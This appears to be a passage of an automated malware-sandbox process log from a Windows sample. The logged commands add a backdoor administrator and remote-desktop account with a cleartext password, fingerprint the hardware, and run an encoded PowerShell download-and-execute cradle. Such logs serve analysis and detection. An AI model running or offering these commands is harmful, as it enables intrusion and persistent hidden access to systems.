C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RSSLLXYN$ /ADD3⤵PID:1744
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD1⤵
- Suspicious use of WriteProcessMemory
PID:1772 -
C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD2⤵
- Suspicious use of WriteProcessMemory
PID:2164
-
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD1⤵PID:2360
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc XIhDQpGK1⤵
- Suspicious use of WriteProcessMemory
PID:2440 -
C:\Windows\system32\net.exenet.exe user WgaUtilAcc XIhDQpGK2⤵
- Suspicious use of WriteProcessMemory
PID:3244 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc XIhDQpGK3⤵PID:4572
-
-
-
C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵PID:1852
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵PID:4836
-
-
C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵PID:4132
-
C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵PID:3832
-
-
C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵PID:2708
-
C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵PID:4872
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
PID:1592
-
-